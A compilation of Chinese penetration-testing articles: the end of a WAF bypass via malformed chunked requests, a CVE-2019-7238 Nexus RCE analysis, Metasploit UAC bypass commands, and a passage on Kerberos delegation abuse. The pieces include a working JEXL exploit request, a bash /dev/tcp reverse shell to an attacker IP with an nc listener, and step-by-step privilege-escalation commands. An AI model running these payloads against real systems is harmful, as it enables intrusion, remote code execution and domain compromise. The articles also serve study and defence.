10.10.10.10 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 16 3 123 1 0 (两个换行) 返回: <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> root 123456 ========GET========== Array ( [id] => 1 ) ========POST========== Array ( ) 通过两个测试可以发现使用畸形的分块数据包可以直接绕过的ModSecurity的检测。这个问题我们在2017年4月已提交给了ModSecurity官方,但是因为种种问题目前依然未修复。 0x05 总结 以上是在http协议层面绕过waf,因为比较通用,所以理论上可以用于平时渗透时的方方面面,如命令执行,代码注入,sql注入等测试。虽然本文中只有分块编码真正做到了绕过某狗,但其他两种方法在其他waf绕过中可能仍然可用,而且可与其他绕过方法结合使用,甚至像四中一样相互组合使用 0x06 参考文献 https://www.freebuf.com/news/193659.html https://www.anquanke.com/post/id/169738 https://github.com/c0ny1/chunked-coding-converter http://gv7.me/articles/2019/chunked-coding-converter/?nsukey=hDubSZCwRKfHneACMJlb2G5dSfdCLb0UBpr4IBspB5hrqGhmbc%2FkWRaDyqwOqDeEenFUA%2BbvcWbUAkmzGV4L%2BAjDzsiE1oC%2FrlNzjPqyqQLsaaYnaGsr3rhiaxjMg%2BAaxufM8UlXwyJUJULQ3OhD18dYrtmhwEzgtaVrhkUzL3Q3LjSaL0Fau0fmaw4c%2FH86LaRiCQT7O%2BQaOVkXrp6SUg%3D%3D#
-
Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现
0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库。其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。 0x01 影响范围 Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本 0x02 漏洞概述 从官方的漏洞简述来看简单的来说就是由于未授权访问的用户可以构造请求而造成任意代码执行。而且因为3.15.0+以上的版本增加了用户认证,所以3.15.0+的版本不受此漏洞的影响。所以根据diff的结果,可以大致的确定漏洞在org.sonatype.nexus.coreui.ComponentComponent#previewAssets: 0x03 整体触发流程 ExtDirectModule$configure:60 # 路由绑定与请求解析 ExtDirectServlet$doPost:155 # 处理post请求 DirectJNgineServlet$doPost:595 # 根据不同的Content-Type来解析请求 DirectJNgineServlet$processRequest:632 # 解析json请求 JsonRequestProcesor$process:119 # 解析json语法树 JsonRequestProcessor$getIndividualJsonRequests:216 # 提取json数据 JsonRequestProcesor$process:133 # 构造返回结构 ComponentComponent$previewAssets:188 # 解析post包中的data数据并构造查询语句查询包 ComponentComponent$previewAssets:208 # 获得查询结果 BrowseServiceImpl$previewAssets:252 # 构建OrientDb查询语句 BrowseServiceImpl$previewAssets:258 # 拼接查询语句 BrowseServiceImpl$previewAssets:262 # 执行查询 MetadataNodeEntityAdapter$countByQuery:221 # 执行OrientDb查询语句 ContextExpressionFunction$execute:125 # 提取jexl表达式 ContextExpressionFunction$checkJexlExpression:154 # 执行jexl表达式 0x03 漏洞分析 漏洞的触发主要分两部分:post包解析及jexl表达式执行。 1. post包解析 首先先看一下web.xml中如何做的路由解析: org.sonatype.nexus.bootstrap.osgi.DelegatingFilter拦截了所有的请求,大概率为动态路由加载,动态路由加载需要配置相应的Module模块用代码将配置与路由进行绑定并显式加载servlet,而该漏洞的入口就在org.sonatype.nexus.extdirect.internal.ExtDirectModule#configure中: 直接跟进org.sonatype.nexus.extdirect.internal.ExtDirectServlet$doPost: 继续向下更进看到处理post请求的部分: 在这里我们跟进看一下如何对json格式的请求进行处理: 首先对json的语法树进行解析,将数据提取出来: 可以看到需要5个变量分别为action、method、tid、type、data。 注意到isBatched是由参数长度决定的,而返回的一个数组,其长度为1,所以isBatched为false。之后就是传入processIndividualRequestsInThisThread方法中: 在这里构造返回的结果,可以看到这里在有一个json反序列化的过程,这里主要是将返回结果以json格式返回。 2. jexl表达式执行 从post包的解析中可以得知我们需要构造5个参数,同时当我们构造好action和method后,可以直接动态调用相应的类与方法。 这个漏洞出现在org.sonatype.nexus.coreui.ComponentComponent#previewAssets: 首先将post包中repositoryName、expression、type的值取出来,这三个参数分别代表已经存在的repository的名字、expression的类型,以及表达式。 着重看一下jexl的处理过程: 注意到这里只是实例化了一个JexlSelector对象,而并没有调用evaluate来执行表达式,所以漏洞的触发点在其他的位置。而真正的表达式执行点在browseService.previewAssets的处理过程中,这一点也是这个漏洞最为难找的一个点。 跟进previewAssets的实现,在org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets: 在这里可以看到表达式最后会被当做参数形成SQL查询,最后由OrientDb执行: 但是OrientDb本身是没有contentExpression这个方法的,也就是说明这个方法是用Java来实现的,找了一下,在org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction: 在checkJexlExpression中: 调用了selectorManage.evaluate来执行jexl表达式: 0x04 构造POC 通过上面的分析,我们只需要按照post包解析中的参数进行相应的构造即可,下面为一个例子: windows环境搭建: https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3 https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz 安装参考: https://help.sonatype.com/learning/repository-manager-3/first-time-installation-and-setup/lesson-1%3A--installing-and-starting-nexus-repository-manager 在windows上安装成功了。需要执行(默认密码:admin/admin123) nexus.exe /run 其POC如下: POST /service/extdirect HTTP/1.1 Host:155.138.147.1:8081 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type: application/json Content-Length: 308 Connection: close {"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4} 注意,这个漏洞需要当Nexus中存在已有的jar包,在本地验证的时候先传一个jar报上去。至于原理分析可能后面会单独再拿出来分析。 0x05 环境搭建 1.在Ubuntu 16.04上安装docker和docker-compose: (1).安装PIP curl -s https://bootstrap.pypa.io/get-pip.py | python3 (2).安装docker curl -s https://get.docker.com/ | sh (3).启动docker服务 service docker start (4).安装docker compose pip install docker-compose 2.使用方法 (1).下载漏洞环境项目 git clone https://github.com/vulhub/vulhub.git (2).进入到nexus利用环境 cd vulhub/nexus/CVE-2019-7238 (3).编译环境 docker-compose build (4).执行如下命令启动Nexus Repository Manager 3.14.0 docker-compose build 等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到的Web页面。 账号使用密码admin:admin123登录后台,然后在Maven的版本下随便上传一个JAR包: 触发该漏洞,必须保证仓库里至少有一个包存在。 0x06 漏洞复现 1.下载漏洞利用poc项目 git clone https://github.com/backlion/CVE-2019-7238.git 2.进入到CVE-2019-7238目录 cd CVE-2019-7238 3.修改cve-2019-7238.py.这里根据实际情况来修改remote = ' http://127.0.0.1:8081 '和 ARCH = “ LINUX ”的值 vi CVE-2019-7238.py 4.在攻击者系统中执行cve-2019-7238.py脚本,然后输入反弹NC的bash bash -i >& /dev/tcp/149.248.17.172/2333 0>&1 #这里的IP是攻击者系统的IP地址 5.在攻击者系统中执行NC监听反弹 nc -lvvp 2333 0x07 修复建议 目前官方已经发布新版本修改了该漏洞,建议您参照上述【安全版本】升级到对应的最新版本。 最新版本下载链接: https://help.sonatype.com/repomanager3/download 0x08 参考链接 https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019 https://www.lucifaer.com/2019/02/19/Nexus%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-7238%EF%BC%89/ https://cert.360.cn/report/detail?id=3ec687ec01cccd0854e2706590ddc215 https://blog.csdn.net/caiqiiqi/article/details/87204472 https://blog.51cto.com/13770310/2351479 https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
-
使用Metasploit绕过UAC的多种方法
一、用户帐户控制(UAC)简介 在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。 1.什么是用户帐户控制(UAC)? Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。 换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。 2.UAC如何运行? UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。 一些没有管理员权限无法完成的操作: 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的) 加载设备驱动程序 DLL注入 修改系统时间(时钟) 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作) 修改受保护的目录(例如Windows文件夹,Program Files) 计划任务(例如,以管理员权限自动启动) UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。 https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/ 二、绕过UAC的方法 首先通过explloit获得目标主机的meterprter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。 getsystem getuid 如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。 1.方法一:Windows权限升级绕过UAC保护 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。 msf > use exploit/windows/local/bypassuac msf exploit windows/local/bypassuac) > set session 1 msf exploit(windows/local/bypassuac) > exploit 从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权. getsystem getuid 很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。 2.方法二:Windows权限提升绕过UAC保护(内存注入) 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()。 msf > use exploit/windows/local/bypassuac_injection msf exploit(windows/local/bypassuac_injection) > set session 1 msf exploit(windows/local/bypassuac_injection) > exploit 从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。 getsystem getuid 最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。 3.方法三:绕过Windows UAC保护(通过FodHelper注册表项) 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。 msf > use exploit/windows/local/bypassuac_fodhelper msf exploit(windows/local/bypassuac_fodhelper) > set session 1 msf exploit(windows/local/bypassuac_fodhelper) > exploit 从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。 getsystem getuid 很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。 4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项) 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。 msf > use exploit/windows/local/bypassuac_eventvwr msf exploit(windows/local/bypassuac_eventvwr) > set session 1 msf exploit(windows/local/bypassuac_eventvwr) > exploit 从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。 getsystem getuid 您将再次获得NT AUTHORITY\SYSTEM 权限。 5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持) 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。 msf > use exploit/windows/local/bypassuac_comhijack msf exploit(windows/local/bypassuac_comhijack) > set session 1 msf exploit(windows/local/bypassuac_comhijack) > exploit 从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。 getsystem getuid 最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。
-
滥用基于资源约束委派来攻击Active Directory
0x00 前言 早在2018年3月前,我就开始了一场毫无意义的争论,以证明TrustedToAuthForDelegation属性是无意义的,并且可以在没有该属性的情况下实现“协议转换”。我相信,只要一旦启用约束委派(msDS-AllowedToDelegateTo不为空),它是否配置为使用“仅Kerberos”或“任何身份验证协议”并起作用。 我在Benjamin Delpy(@gentilkiwi)的帮助下开始了这段研究过程,他帮助修改了kekekeo以支持一种特定的攻击,这种攻击涉及在没有PAC的情况下使用白银票据调用s4u2proxy,我们取得了部分成功,但最终的TGS却无法使用。从那时起,我就一直研究这个问题,试图用不同的方法来解决这个问题,但没有取得多大的成功。直到我最终接受了失败,具有讽刺意味的是,随后解决方案出现了,以及其他一些有趣的利用案例和新的攻击技术。 0x01 TL; DR 这篇文章篇幅很长,我很清楚很多人没有时间或毅力来阅读它,所以我将在下午中列出本文的重要点: 在调用S4U2Proxy时,基于资源的约束委派不需要可转发的TGS。 无论TrustedToAuthForDelegation属性的状态如何,S4U2Self都可以在任何具有SPN的帐户上运行。如果设置了TrustedToAuthForDelegation,则S4U2Self生成的TGS是可转发的,除非它对委派或受保护用户组的成员是信息敏感 以上几点意味着,如果攻击者可以控制Active Directory中的计算机对象,则可能会滥用该对象来破坏主机。 即使请求中提供的额外TGS不可转发,S4U2Proxy也能生成可转发的TGS。 以上几点意味着,如果攻击者利用SPN以及具有传统约束委派的账号来攻击其他任何账号,那么是否设置了TrustedToAuthForDelegation属性并不重要。 默认情况下,任何域用户都可以滥用MachineAccountQuota来创建一个计算机帐户并为其设置一个SPN,这使得滥用基于资源的约束委派模拟协议转换变得更为简单(为任意用户获取一个可转发的TGS到一个被破坏的服务)。 S4U2Self允许为任意用户生成有效的TGS,包括那些标记为对委派敏感的用户或受保护用户组的成员。生成的TGS具有一个带有效KDC签名的PAC。所需要的只是计算机帐户凭据或TGT。 上述点与无约束委派和“打印错误”相结合可能导致远程代码执行(RCE)。 krbtgt帐户上基于资源的约束委派允许为任意用户生成TGT,并且可以作为持久性技术恶意利用。 通过基于资源的受限委派的从HTTP到LDAP的NTLM中继配置可能有助于MSSQL服务器上的远程代码执行(RCE)或本地权限提升(LPE),Windows 10/2016/2019上的本地权限提升(LPE)。 计算机帐户变得更有趣。开始寻找更多利用点来触发攻击链 0x02 Kerberos委派101 如果您没有跟上滥用kerberos委派授权的分析进度,您应该先阅读will schroeder(@harmj0y)和lee christensen(@tifkin_uuu)的文章S4U2Pwnage。在那篇文章中,他们比我更好地阐述了它,但我也会尽量简洁概述它 首先,简要概述Kerberos: 当用户登录时,他们使用从其密码生成的加密密钥对一条信息(时间戳)进行加密,以向验证服务器证明他们知道密码。此步骤称为“预身份验证”。 在Active Directory环境中,身份验证服务器是域控制器。 预身份验证成功后,身份验证服务器将向用户提供一个有效期有限的票据授予票据(TGT) 当用户希望对某个服务进行身份验证时,用户将TGT发送给身份验证服务器。如果TGT有效,用户将从身份验证服务器接收一个票据授予服务(TGS),也称为“服务票据”。 然后,用户可以将TGS发送给他们想要访问的服务,服务可以对用户进行身份验证,并根据TGS中包含的数据做出授权决策。 关于Kerberos票据的一些重要说明: 每张票都有明文部分和一个加密部分 票据的明文部分包含票据所针对的服务的服务主体名称(SPN) 用于票据的加密部分的加密密钥是从目标服务的帐户的密码导出的 TGT是为内置帐户“krbtgt”加密 TGT上的SPN是krbtgt/domain 通常,服务需要模拟用户来访问另一个服务。为了便于实现这一点,在Kerberos协议中引入了以下委派特性: 无约束委派(TrustedForDelegation):用户发送一个TGS来访问服务,连同他们的TGT,然后服务可以使用用户的TGT为用户向任何其他服务请求TGS并模拟用户 约束委派(S4U2Proxy):用户发送一个TGS来访问该服务(“服务A”),如果允许该服务委派给另一个预定义的服务(“服务B”),那么服务A可以向认证服务提供用户提供的TGS,并为用户获得一个TGS到服务B。请注意,TGS提供了在s4u2proxy请求中,必须设置Forwardable标志。对于配置为“对委派敏感”(用户没有对委派属性设置为true)的帐户或受保护用户组的成员,从不设置为“可转发”标志。 协议转换(S4U2Self / TrustedToAuthForDelegation):s4u2proxy要求服务在身份验证服务为用户生成一个TGS到另一个服务之前,为用户提供一个TGS。它通常被称为“附加票据”,但我喜欢将其称为用户确实已对调用S4U2Proxy的服务进行身份验证的“证据”。但是,有时用户通过其他协议(如NTLM或甚至基于表单的身份验证)对服务进行身份验证,因此他们不会向服务发送TGS。在这种情况下,服务可以调用s4u2self请求认证服务为任意用户生成一个TGS,然后在调用s4u2proxy时将其用作“证据”。此特性允许模拟用户,并且仅当为调用s4u2self的服务帐户设置TrustedToAuthForDelegation标志时才有可能有效。 0x03 其他受限制的委派 早在2018年10月前,我与Will Schroeder(@ harmj0y)合作,将为基于资源的约束委派的滥用提供了基于ACL的计算机标识的基础论证。威尔写了一篇关于这个主题的优秀文章,在继续之前你也应该阅读它。再一次,在那篇文章中,Will比我更好地阐述了它,但我会在这里非常简洁地概述它。 为了配置约束委派,必须具有SeEnableDelegation权限,该权限是敏感的,通常仅授予Domain Admins。为了使用户/资源更加独立,在Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置哪些帐户可信任委派给他们。 这种约束委派的风格与传统约束委派非常相似,但配置相反。从帐户A到帐户B的传统约束委派在msDS-AllowedToDelegateTo属性中的帐户A上配置,并定义从A到B的“传出”信任,而在msDS-AllowedToActOnBehalfOfOtherIdentity属性中的帐户B上配置基于资源的约束委派,并定义从A到B的“传入”信任。 一个重要的点是,每个资源都可以为自己配置基于资源的约束委派。在我看来,让资源自行决定谁是他们信任的是有意义的 Will和我想出了以下滥用案例来破坏特定的主机: 攻击者破坏设置了TrustedToAuthForDelegation标志(“服务A”)的帐户 攻击者还利用为目标主机(“服务B”)的计算机帐户配置基于资源的约束委派的权限来攻击帐户。 攻击者配置从服务A到服务B的基于资源的约束委派。 攻击者调用s4u2self和s4u2proxy作为服务A,以获取特权用户对服务B的TGS,以破坏目标主机。 下图说明了此滥用案例: 这是一个很好的技巧,但使用TrustedToAuthForDelegation标志设置来破坏帐户并非一件易事。如果我的研究TrustedToAuthForDelegation取得更大的成效的话,那么对于这种滥用案例它会派上用场。 0x04 滥用案例:Skipping S4U2Self 为了使用上面的基于ACL的计算机标识的原始论证,我稍微修改了Rubeus以允许攻击者在调用S4U2Proxy时为受害者提供“证据”TGS而跳过S4U2Self。Benjamin Delpy也于2018年4月对Kekeo进行了修改 ; 但是,在编写本文时,Kekeo不支持基于资源的约束委派。 更通用的滥用案例将按如下方式: 攻击者破坏服务A和DACL,并在服务B上配置基于资源的约束委派。 通过社会工程或水坑攻击,受害者向服务A进行身份验证以访问服务(例如CIFS或HTTP) 攻击者使用mimikatz sekurlsa::tickets或其他方法将受害者的TGS转储到服务A 攻击者配置从服务A到服务B的基于资源的约束委派。 攻击者使用Rubeus执行S4U2Proxy,之前获得的TGS是受害者从服务A到服务B所需的“证据”。 攻击者可以通过票据并冒充受害者访问服务B. 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/7odfALcmldo) S4U2Proxy具有先前获得的TGS: 请注意,S4U2Proxy响应(到服务B)中生成的TGS似乎设置了FORWARDABLE标志,除非主体被标记为对委派敏感或者是受保护用户组的成员。 0x05 Serendipity(偶然性) 当我是在测试我的rubeus修改时,是为提交请求做准备,我重置了服务A上的trustedtoauthfordelegation useraccountcontrol标志,并希望在执行s4u2self时看到错误消息提示。然而,s4u2和S4U2Proxy都被执行,生成的TGS为我提供了访问服务B的权限。 我从S4U2Self获得的票据是不可转发的,但是,S4U2proxy依然接收了它,对服务B的用户进行了TGS响应 此时,我想知道我是否完全错误配置了我的实验室环境。 此场景的视频演示:(https://youtu.be/IZ6BJpr28r4) 在没有TrustedToAuthForDelegation的情况下为任意帐户获取可转发TGT: 0x05 被误解的特性 1.被误解的特性1 经过几个小时的测试,调试和阅读MS-SFU之后,我意识到对S4U2Self的理解是错误的。不管是否设置了TrustedToAuthForDelegation UserAccountControl标志,s4u2似乎都能正常工作。但是,如果未设置,则根据MS-SFU第3.2.5.1.2节,生成的TGS不可转发: “如果Service 1 主体上的TrustedToAuthenticationForDelegation参数设置为: TRUE:KDC必须在S4U2self服务票据中设置FORWARDABLE 票据标志([RFC4120]第2.6节)。 FALSE和ServicesAllowedToSendForwardedTicketsTo是非空的:KDC不能在S4U2self服务票据中设置FORWARDABLE票据标志([RFC4120]第2.6节)“ 2.被误解的特性2 那么,S4U2Proxy仍然不应该使用不可转发的票据? 当我尝试使用具有传统(“传出”)约束委派的不可转发TGS调用S4U2Proxy时,它失败了。但是,基于资源的约束委派(“传入”)它始终有效。我认为这一定是一个bug,因此在2018年10月26日,我将它报告给了微软响应中心(MSRC)。 当我不耐烦地等待回复时,我再次阅读了MS-SFU,并找到了第3.2.5.2节 “如果附加票据字段中的服务票据未设置为Forwardable<20>,并且PA-PAC-OPTIONS[167]([MS-KILE]第2.2.10节)PADATA类型具有基于资源的约束委派位: 如果未设置,则KDC必须返回状态为STATUS_NO_MATCH的KRB-ERR-BADOPTION选项。 设置在KERB_VALIDATION_INFO结构的UserAccountControl字段中设置([MS-PAC]第2.5节)的USER_NOT_DELEGATED位,然后,KDC必须返回状态为STATUS_NOT_FOUND的 KRB-ERR-BADOPTION选项 这似乎是一个设计缺陷,用微软的话来说,这也是一个“特性”。基于资源的受限委派的s4u2proxy在设计上提供不可转发的TGS! 请注意,根据上述文档,即使TGS不必为基于资源的约束委派进行转发,如果用户设置为“对委派敏感”,则S4U2Proxy将失败,这是预料的结果。 0x06 通用的DACL滥用 这两个被误解的“特性”意味着对基于ACL的计算机标的原始论证的唯一要求是DACL在计算机对象和另一个帐户上配置是基于资源的约束委派。任何拥有SPN的帐户都可以。即使只是其他帐户的TGT也可以。 需要SPN的原因是S4U2Self似乎不适用于没有SPN的帐户。但是,任何域用户都可以通过滥用MachineAccountQuota(默认设置为10)来获取具有SPN的帐户,并允许创建新的计算机帐户。创建新计算机帐户时,用户可以为其设置一个SPN,或在以后添加一个。Kevin Robertson(@NetSPI)提供了一个名为Powermad的工具,它允许通过LDAP实现这一点。 通用滥用案例的工作原理如下: 攻击者破坏具有SPN或创建一个(“服务A”)帐户,并使用DACL在计算机帐户(“服务B”)上配置基于资源的约束委派。 攻击者破坏具有SPN的帐户或创建一个(服务A),以配置计算机帐户(“服务B”)上基于资源的约束委派的DACL 攻击者配置从服务A到服务B的基于资源的约束委派。 攻击者使用rubes为有权访问服务B的用户执行从服务A到服务B的完整S4U攻击(s4u2self和s4u2proxy)。 攻击者可以传递票据并模拟用户以获得对服务B的访问权限。 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/ayavtG7J_TQ) RBCD作为基于ACL的计算机原始的对象接管: 注意,在步骤3中从S4U2Self获得的TGS不可转发,但在调用S4U2Proxy时,它被作为“证据”。 0x07 可转发的结果 当我在S4U2Proxy响应中检查生成的TGS时,它设置了FORWARDABLE标志。我为S4U2Proxy提供了一个不可转发的TGS作为“证据”,并获得了一个可转发的TGS。 这是一个bug还是一个特性? 我回到MS-SFU 第3.2.5.2.2节,发现以下内容: “ 在以下情况下,KDC必须响应服务票据: sname字段包含Service 2的名称。 领域字段包含Service 2的领域。 cname字段包含附加票据字段中服务票据的cname。 crealm字段包含附加票据字段中服务票据的crealm。 FORWARDABLE 票据标志已被设置。 S4U_DELEGATION_INFO结构在新的PAC中“ 这似乎是另一个很好的特性:S4U2Proxy生产的每个TGS总是可转发的。 0x08 授权Active Directory对象和基于反射资源的约束委派 当Microsoft引入基于资源的约束委派时,它将用户和计算机转换为强大的独立AD对象,这些对象能够为自己配置这个新的“传入”委派。默认情况下,所有资源都有一个访问控制条目(ACE),允许它们为自己配置基于资源的约束委派。但是,如果攻击者拥有该帐户的登录凭据,那么他们可以伪造一张白银票据并获得对它的访问权限 白银票据的问题在于,当伪造时,他们没有具有有效KDC签名的PAC。如果目标主机配置为验证KDC PAC签名,则白银票据将不起作用。可能还有其他安全解决方案可以检测白银票据使用情况。 但是,如果我们拥有计算机帐户或甚至只是TGT的凭据,我们可以将该帐户的基于资源的约束委派配置为自身,然后使用S4U2Self和S4U2Proxy为任意用户获取TGS。 滥用案列的工作原理如下: 攻击者会破坏凭据或计算机帐户的TGT(“服务A”)。 攻击者将基于资源的约束委派从服务A配置为自身。 攻击者使用Rubeus执行完整的S4U攻击,并为有权访问服务A的用户获取TGS。 攻击者可以传递票据并模拟用户访问服务A. 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/63RoJrDMUFg) 基于反射资源的约束委派: 事实上,当帐户设置了TrustedToAuthForDelegation标志(也称为“协议转换”)时,这种基于资源的反射约束委派相当于S4U2SELF,因为它允许帐户模拟用户为自己获取可转发的TGS。但是,如果使用“仅Kerberos”的传统约束委派配置了一个帐户(未设置TrustedToAuthForDelegation且msDS-AllowedToDelegateTo不为空),则传统条件优先于基于资源的条件,因此s4u2self使用不可转发的TGS响应和s4u2proxy失败。 请注意,此技术仅允许为用户获取TGS,前提是它未设置为“对委派敏感”,并且不是受保护用户组的成员,如下面的截图所示: 0x08 解决敏感问题 仔细检查上述的输出结果,则表明S4U2SELF适用于标记为对委派敏感的用户和受保护用户组的成员。 仔细检查该票据表明它没有有效的服务名称,并且不可转发: 但这很容易改变,因为服务名称不在票据的加密部分。 攻击者可以使用ASN.1编辑器修改,从S4U2Self获得的TGS上的SPN,并将其转换为有效的SPN。 完成后,攻击者拥有有效的TGS。它不可转发,但可以对服务进行身份验证: 此场景的视频演示:(https://youtu.be/caXFG_vAr-w) 滥用敏感用户的S4U2Self : 因此,如果攻击者拥有计算机帐户的凭据或TGT,他们可以为任何用户(包括敏感/受保护的用户)获取该计算机的TGS,并在PAC中使用有效的KDC签名 这意味着获得一个计算机帐户的TGT就足以破坏主机。 0x09 无约束委派导致远程命令执行 正如Lee Christensen(@tifkin_)在DerbyCon 8中的“打印机错误”滥用案例中所展示的那样,通过调用RpcRemoteFindFirstPrinterChangeNotification(Opnum 62)方法,通过SMB连接回指定的IP /主机名来欺骗打印机后台处理程序。 如果攻击者以无约束委派方式破坏主机,则“打印机错误”滥用可能导致在Printer Spooler程序运行的任何加入域的Windows主机上导致远程命令执行。 滥用案列的工作原理如下: 攻击者以无受约束委派方式来攻击主机并进行权限提升。 攻击者运行rubes的monitor/harvest模块。 攻击者启动SpoolSample或dementor.py,以控制目标主机的打印机spooler,将其TGT委派给无约束委派的受攻击的主机。 攻击者可以使用抓取的TGT为任何用户获取目标主机的TGS,甚至是敏感的委派/受保护的用户。 攻击者为具有本地管理员权限的用户获取目标主机的TGS并对其进行攻击。 下图说明了这种情况: 此场景的视频演示:(https://youtu.be/XqxWHy9e_J8) 滥用无约束委托,打印机后台处理程序错误,以及S4U2Self来破坏主机: 正如Will Schroeder(@ harmj0y)在他的博客文章Not A Security Boundary:Breaking Forest Trusts中所阐述的那样,无约束委派的跨森林信任的安全边界,使得这种攻击跨双向森林信任是有效的。 0x10 账户设置 - TrustedToAuthForDelegation 多年来,Active Directory安全专家一直告诉我们,如果我们必须配置Kerberos委派,那么约束委派是可行的方法,我们应该使用“仅Kerberos”而不是“任何身份验证协议”(称为“协议转换”) “)。但也许“仅Kerberos”和“任何身份验证协议”之间的选择实际上并不重要。 我们现在知道,我们可以滥用基于资源约束委派来为任意用户获得可转发的TGS。因此,如果我们有一个具有SPN的帐户和一个具有传统约束委派但没有“协议转换”的帐户的凭据(或TGT),我们可以将这两个“特性”结合起来模拟“协议转换”。 此滥用案例的工作原理如下: 攻击者会破坏具有SPN的帐户或创建一个帐户(“服务A”)。 攻击者会破坏一个帐户(“服务B”),该帐户是为服务C上某个服务类的传统约束委派而设置的,仅使用Kerberos(TrustedToAuthForDelegation未在服务B上设置,并且服务B上的msds allowedToDelegateto包含服务C上的服务,例如“时间/服务C”)。 